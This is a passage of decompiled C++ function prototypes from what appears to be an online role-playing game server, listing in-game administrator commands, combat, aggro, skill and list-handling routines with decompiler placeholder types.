(*arg)[33]); void __thiscall AmpersandCommand::ac_EndOfKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ReroadKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_deathaura(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_immortal(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_HorseSpeed(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EnterMiniHouse(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_staticdamage(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KeepFromChat(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BonusExp(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BonusItem(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FieldBonus(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CharInform(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PartyInform(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ParameterView(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_IsBlock(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Propose(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ProposeRes(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingReset(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingReserve(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingGuestEnterReady(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingGuestEnter(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Unlearnskill(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_UnlearnPassive(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_learnPassive(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Wedding(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ShowPlayerID(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EraseChargeBuff(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobHatchery(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AllCritical(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_StartGuildTournament(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FlagCapture(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_UseGuildSkill(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ObserverLinkTo(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ObserverOut(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EditSpeed(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GhostRemove(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CurTime(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AmIBusy(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KnockBack(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PartBlock(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_InventoryView(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PW(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_DebugLogging(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TaiSai_DiceFix(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TaiSai_DiceProbability(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AllLearnSKill(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_LevelUp(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildTournamentItemEffect(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ReleaseChatBan(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); char __thiscall List::l_PushA(List *this, AmpersandCommandElement *ele); char __thiscall List::l_PushZ(List *this, AmpersandCommandElement *ele); char __thiscall List::l_PopA(List *this, AmpersandCommandElement *ele); char __thiscall List::l_PopZ(List *this, AmpersandCommandElement *ele); char __thiscall ListSearchSame::lid_Call(ListSearchSame *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); void __thiscall List::l_Clear(List *this); void __thiscall KingdomQuest::KQElement::KQElement(KingdomQuest::KQElement *this); void __thiscall KingdomQuest::KQElement::_KQElement(KingdomQuest::KQElement *this); void __thiscall AmpersandCommand::ac_PlayerDistribute(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_NPCRevive(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ShowAllChar(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); #585 *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(List *, unsigned __int16, #585 *), unsigned __int16 *hnd, #585 *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall AmpersandCommand::ac_KQReward(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BigBang(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall std::allocator_std::allocator>>::destroy(std::allocator,std::allocator > > *this, std::basic_string,std::allocator > *_Ptr); void __cdecl std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xran(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); void __thiscall std::out_of_range::out_of_range(std::out_of_range *this, std::out_of_range *__that); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xlen(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); void __thiscall AmpersandCommand::ac_HPChange(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_SPChange(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ReLoadData(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Captivate(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_IgnoreSkillCoolTime(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Destroy(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last); void __thiscall AmpersandCommand::AmpersandCommand(AmpersandCommand *this); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); void __thiscall ListIter_AmpCmdArgument::ListIter_AmpCmdArgument(ListIter_AmpCmdArgument *this, unsigned __int16 handle, #434 *admin, char *buffer); unsigned int __thiscall AttackRhythm::AttackRhythmBase::arb_NextBash(AttackRhythm::AttackRhythmBase *this, AttackRhythm::CharArgument *ca, int attackspeed1000); void __thiscall AttackRhythm::AttackRhythm_Melee::AttackRhythm_Melee(AttackRhythm::AttackRhythm_Melee *this); void __thiscall AttackRhythm::AttackRhythm_Melee::arb_Next(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int charclass); int __thiscall AttackRhythm::AttackRhythm_Melee::arb_ActionNumber(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca); unsigned int __thiscall AttackRhythm::AttackRhythm_Melee::arb_NextBash(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int attackspeed1000); void __thiscall AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee(AttackRhythm::AttackRhythm_Mob *this); void __thiscall AttackRhythm::AttackRhythm_Range::AttackRhythm_Range(AttackRhythm::AttackRhythm_Range *this); void __thiscall AttackRhythm::AttackRhythm_Range::arb_Next(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca, int charclass); int __thiscall AttackRhythm::AttackRhythm_Range::arb_ActionNumber(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca); void __thiscall AttackRhythm::AttackRhythm_Mob::AttackRhythm_Mob(AttackRhythm::AttackRhythm_Mob *this); char __thiscall SubLayer::SubLayerInteractLoader::slil_Interact(SubLayer::SubLayerInteractLoader *this, SubLayer::Layer *my, SubLayer::Layer *another); unsigned int __thiscall AllOfRangeArgument::operator unsigned_long(AllOfRangeArgument *this); void __thiscall AxialListIterator::AxialListIterator(AxialListIterator *this); char __thiscall InventoryLocking::InventoryCellLock::icl_IsLocked(AxialListIterator *this, #325 *, #325 *, unsigned int); char __thiscall AxialListMobCounter::ali_Work(AxialListMobCounter *this, #325 *, #325 *, unsigned int); char __thiscall AxialListMobCounter::ala_SearchMob(AxialListMobCounter *this, #325 *, #325 *); char __thiscall AxialListMobCounter::ala_SearchAll(AxialListMobCounter *this, #325 *, #325 *); char __thiscall AxialListMobCounter::ala_SearchPly(AxialListMobCounter *this, #325 *, #325 *); char __thiscall AxialListMobCounter::ala_SearchGld(AxialListMobCounter *this, #325 *, #325 *); char __thiscall AxialListMobFind::ali_Work(AxialListMobFind *this, #325 *, #325 *, unsigned int); void __thiscall AxialListBossFind::AxialListBossFind(AxialListBossFind *this); void __thiscall AxialListWall::AxialListWall(AxialListWall *this, const char *message); char __thiscall AxialListWall::ali_Work(AxialListWall *this, #325 *, #325 *, unsigned int); void __thiscall AxialListShowID::AxialListShowID(AxialListShowID *this, NETCOMMAND *nc); void __thiscall AxialListCount::AxialListCount(AxialListCount *this); char __thiscall AxialListCount::ali_Work(AxialListCount *this, #325 *, #325 *, unsigned int); char __thiscall AxialListMobInAreaCounter::ali_Work(AxialListMobInAreaCounter *this, #325 *, #325 *, unsigned int); char __thiscall AxialListMobInAreaCounter::ala_InArea(AxialListMobInAreaCounter *this, #325 *Mob); void __thiscall AxialListProtocolSend::AxialListProtocolSend(AxialListProtocolSend *this, int department, int command); char __thiscall AxialListProtocolSend::ali_Work(AxialListProtocolSend *this, #325 *, #325 *, unsigned int); void __thiscall AxialListMobKillLog::AxialListMobKillLog(AxialListMobKillLog *this, int department, int command, unsigned __int16 nMobID); void __thiscall AxialListWall::_AxialListWall(AxialListMobKillLog *this); WorldManagerSession *__thiscall SocketBundle::sb_GetSocket(SocketBundle *this); void __thiscall AxialListPacketBroadcast::AxialListPacketBroadcast(AxialListPacketBroadcast *this, ProtocolPacket *pack, int packlen); void __thiscall AxialListPacketBroadcast::_AxialListPacketBroadcast(AxialListPacketBroadcast *this); char __thiscall AxialListPacketBroadcast::ali_Work(AxialListPacketBroadcast *this, #325 *, #325 *, unsigned int); void __thiscall AxialListPacketBroadcastByGuild::AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this, ProtocolPacket *pack, int packlen, unsigned int GRegNum); void __thiscall AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this); char __thiscall AxialListPacketBroadcastByGuild::ali_Work(AxialListPacketBroadcastByGuild *this, #325 *, #325 *, unsigned int); void __thiscall AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this, ProtocolPacket *pack, int packlen); void __thiscall AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this); char __thiscall AxialListPacketBroadcast4ItemPickUp::ali_Work(AxialListPacketBroadcast4ItemPickUp *this, #325 *, #325 *, unsigned int); char __thiscall AxialListBossFind::ali_Work(AxialListBossFind *this, #325 *, #325 *, unsigned int); char __thiscall AxialListShowID::ali_Work(AxialListShowID *this, #325 *, #325 *, unsigned int); char __thiscall AxialListMobInAreaCounter::ala_SearchMob(AxialListMobInAreaCounter *this, #325 *, #325 *); char __thiscall AxialListMobInAreaCounter::ala_SearchAll(AxialListMobInAreaCounter *this, #325 *, #325 *); char __thiscall AxialListMobInAreaCounter::ala_SearchPly(AxialListMobInAreaCounter *this, #325 *, #325 *); char __thiscall AxialListMobInAreaCounter::ala_SearchGld(AxialListMobInAreaCounter *this, #325 *, #325 *); char __thiscall AxialListMobKillLog::ali_Work(AxialListMobKillLog *this, #325 *, #325 *, unsigned int); ShineCommonParameter::ShineParameter *__thiscall ShineCommonParameter::operator_>(ShineCommonParameter *this); char __thiscall DirectDistanceTable::ddt_DirectSR(DirectDistanceTable *this, int dx, int dy); void __thiscall BriefInfoBackup::bib_Restore(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape); void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set(ShineObjectClass::ShinePlayer::TimeScheduler *this, ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *fnc)(#434 *this), ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType defaultreturn, ShineObjectClass::ShinePlayer::TimeScheduler::TS_CurWork work, int millisec); char __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack(ShineObjectClass::ShinePlayer::TimeScheduler *this); #325 *__thiscall TargetObject::to_GetTargetObject(TargetObject *this); void __thiscall EngageArgument::EngageArgument(EngageArgument *this, #325 *, #325 *, SkillDataBox::SkillDataIndex *, SKILL_EMPOWER *, SHINE_XY_TYPE *); void __thiscall AxialListTargetInform::_AxialListTargetInform(AxialListTargetInform *this); int __thiscall ShineObjectClass::ShineMob::so_GetTargetObject(int this); signed __int16 __thiscall ShineObjectClass::ShinePlayer::EraseGoodBuff(void *this, int index, signed __int16 notfinderrortype); char __thiscall ShineObjectClass::ShineObject::so_Dispel(#325 *this, #325 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, unsigned int); bool __thiscall ShineObjectClass::ShineObject::so_ply_Script_CostumeCreate(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]); char __thiscall ShineObjectClass::ShineObject::so_SkillEnchant(#325 *this, #325 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, char *, char); int __thiscall ShineObjectClass::ShineObject::so_mh_PortalOpen(ItemAttributeClass *this, ItemTotalInformation *itm); unsigned int __thiscall ShineObjectClass::ShineObject::so_attack(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue); void __thiscall ShineObjectClass::ShineServant::so_GetExperienceFromMob(ShineObjectClass::ShineServant *this, int expgain, unsigned __int16 mobid, unsigned __int16 mobhandle); void __thiscall ShineObjectClass::ShineMob::smo_BashStop(int this); int __stdcall ShineObjectClass::ShineObject::so_Bash(int engarg, int resthp, int abstate, int absstrength, int absrate, int aggroclear); char __thiscall ShineObjectClass::ShineObject::so_ply_dupmenu_canmenuopen(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itemstruct); void __thiscall ShineObjectClass::ShineMobileObject::smo_AttackedDamage(#325 *, int, EngageArgument *); int __thiscall ShineObjectClass::ShineMob::so_mobile_IsImmortal(void *this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetNaturalEnemy(int this, int NewNaturalEnemy); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetNaturalEnemy(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_IsEthereal(void *this); AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_GetInArray(List *this, unsigned __int16 handle, char *inlist); void __cdecl std::fill(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Val); char __thiscall AxialListTargetInform::ali_Work(AxialListTargetInform *this, #325 *, #325 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_Broadcast2ndTarget(#325 *, int); int __thiscall ShineObjectClass::ShinePlayer::so_GetTargetObject(int this); void __thiscall TargetObject::to_SendInform(TargetObject *this, #434 *ply); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ(int this, int netcmd, int len, __int16 handle); #325 *__thiscall TargetObject::to_ValidTarget(TargetObject *this, unsigned __int16 target); int __thiscall ShineObjectClass::ShineMobileObject::so_skillsmash(#325 *, SmashArgument *); int __thiscall ShineObjectClass::ShinePlayer::so_skillsmash(#325 *, SmashArgument *); char __thiscall ShineObjectClass::ShineMobileObject::so_Dispel(#325 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, unsigned int); char __thiscall ShineObjectClass::ShineMobileObject::so_SkillCure(#325 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *); int __thiscall ShineObjectClass::ShineMobileObject::so_smash(void *this, int engarg); int __thiscall ShineObjectClass::ShinePlayer::so_smash(void *this, int engarg); int __thiscall ShineObjectClass::ShineMobileObject::so_attack(#325 *, int); int __thiscall ShineObjectClass::ShineMobileObject::so_attack(#325 *, int, int); int __thiscall ShineObjectClass::ShineMob::so_attack(#325 *, int); void __thiscall ShineObjectClass::ShineMob::so_recoverhp(void *this, int hp); void __thiscall ShineObjectClass::ShineMob::so_recoversp(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_recoverhp(void *this, int hp); void __thiscall ShineObjectClass::ShinePlayer::so_recoversp(void *this, int a2); void __thiscall ShineObjectClass::ShineObject::so_DamagedBy(#325 *this, #325 *, int, int, char); void __thiscall ShineObjectClass::ShinePlayer::so_DamagedBy(#325 *, int, int, char); void __thiscall ShineObjectClass::ShineMob::so_DamagedBy(#325 *, int, int, char); void __thiscall ShineObjectClass::ShineMob::so_mob_DecreaseAggro(#325 *, int); void __thiscall ShineObjectClass::ShineMob::so_mob_AppendAggro(#325 *, int); void __thiscall ShineObjectClass::ShineServant::so_mob_AppendAggro(ShineObjectClass::ShineServant *this, #325 *, int); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_NextSaveExperience(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_GainExp(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::so_GainFame(void *this, int famegain); unsigned int __cdecl ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob(__int64 prevexp, __int64 nextexp, int fa); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField(void *this, __int64 prevexp, __int64 nextexp, int fa); // int __usercall ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled(int a1, int a2, int func, int (__thiscall *a4)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)); void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __cdecl ShineObjectClass::ShinePlayer::sp_GuildWarRequest(int guild1, int guild2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD(void *this, int netcmd, int len, __int16 handle); void __cdecl ShineObjectClass::ShineMobileObject::smo_BashStop(); void __thiscall ShineObjectClass::ShinePlayer::smo_BashStop(void *this); // int __usercall ShineObjectClass::ShineMobileObject::so_Bash(void *a1, double a2, int engarg, int resthp, signed int abstate, int absstrength, signed int absrate, int aggroclear); // int __usercall ShineObjectClass::ShinePlayer::so_Bash(int a1, double a2, int engarg, int resthp, signed int abstate, int absstrength, signed int absrate, int aggroclear, int damage); bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy(void *this, int a2); void __thiscall ShineObjectClass::ShineMobileObject::smo_SwingStart(void *this, int a2); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage(void *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_SwingDamage(#325 *, ABSTATEINDEX, int, int, int); char __thiscall ShineObjectClass::ShinePlayer::so_mobile_IsImmortal(void *this); signed int __thiscall ShineObjectClass::ShineMobileObject::smo_HitNotRevision(void *this); signed int __cdecl ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor(); signed int __thiscall ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor(void *this); AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy_backward(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest); void __thiscall TargetObject::to_Set(TargetObject *this, unsigned __int16 target, #325 *targetobject, #434 *ply); int __thiscall ShineObjectClass::ShineMob::so_mobile_IsEnemy(_DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineServant::so_mobile_IsEnemy(ShineObjectClass::ShineServant *this, #325 *obj); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart(void *this); char __thiscall ShineObjectClass::ShineMob::smo_SwingDamage(#325 *, ABSTATEINDEX, int, int, int); char __thiscall ShineObjectClass::ShineMobileObject::so_SkillEnchant(#325 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, char *, char); void __thiscall ShineObjectClass::ShineMobileObject::so_KilledBy(#325 *, int, int, unsigned int); void __thiscall ShineObjectClass::ShineMob::so_KilledBy(#325 *, int, int, unsigned int); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __cdecl std::_Uninit_fill_n>(AbnormalStateContainer::AbstateElementInObject *_First, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Ptr, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, AbnormalStateContainer::AbstateElementInObject _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateContainer::AbstateElementInObject *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize); void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Val); void __thiscall ShineObjectClass::ShinePlayer::so_KilledBy(#325 *, int, int, unsigned int); void __thiscall SpyNet::EspionageAgent::ea_SRT_GETHEAL(SpyNet::EspionageAgent *this, #325 *, int, int); void __thiscall MultiHitArgument::MultiHitArgument(MultiHitArgument *this); void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this); void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this, unsigned __int16 attacker, unsigned __int16 defender); void __thiscall BattleObjectGroup::BattleObject::BattleObject(BattleObjectGroup::BattleObject *this); void __thiscall BattleObjectGroup::BattleObject::_BattleObject(BattleObjectGroup::BattleObject *this); unsigned __int16 __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(SkillEffectApply::SkillBlastEffectContainer *this); void __thiscall SkillEffectApply::SkillBlastEffect::SkillBlastEffect(SkillEffectApply::SkillBlastEffect *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, BattleObjectGroup::BattleObject *ele); char __thiscall List::l_PopA(List *this, BattleObjectGroup::BattleObject *ele); char __thiscall List::l_PopZ(List *this, BattleObjectGroup::BattleObject *ele); void __cdecl std::fill(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Val); void __cdecl std::fill(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_backward_opt(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MultiHitArgument::mha_SetAbState(MultiHitArgument *this, int sub, char *statename, int rate, int strength); void __thiscall BattleObjectGroup::BattleObjectList::_BattleObjectList(BattleObjectGroup::BattleObjectList *this); void __cdecl ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange(); char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo(#325 *, char *); char __thiscall ShineObjectClass::ShineServant::so_mobile_ICanDamageTo(ShineObjectClass::ShineServant *this, #325 *, char *); char __thiscall ShineObjectClass::ShineMob::so_mobile_ICanDamageTo(#325 *, char *); bool __thiscall ShineObjectClass::ShineMobileObject::smo_ICanHealTo(void *this, int a2); char __thiscall ShineObjectClass::ShinePlayer::smo_ICanHealTo(void *this, int a2); char __thiscall ShineObjectClass::ShineServant::smo_ICanHealTo(ShineObjectClass::ShineServant *this, #325 *target); bool __thiscall ShineObjectClass::ShineMob::smo_ICanHealTo(void *this, int a2); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck(SkillEffectApply::SkillBlastEffectContainer *this); int __cdecl ShineObjectClass::ShineMobileObject::smo_SkillBlastTick(int sklidx); int __cdecl ShineObjectClass::ShinePlayer::smo_SkillBlastTick(int sklidx); int __thiscall ShineObjectClass::ShineMob::smo_SkillBlastTick(void *this, int sklidx); char __thiscall List::l_PushA(List *this, BattleObjectGroup::BattleObject *ele); SkillEffectApply::SkillBlastEffect *__cdecl std::copy_backward(SkillEffectApply::SkillBlastEffect *_First, 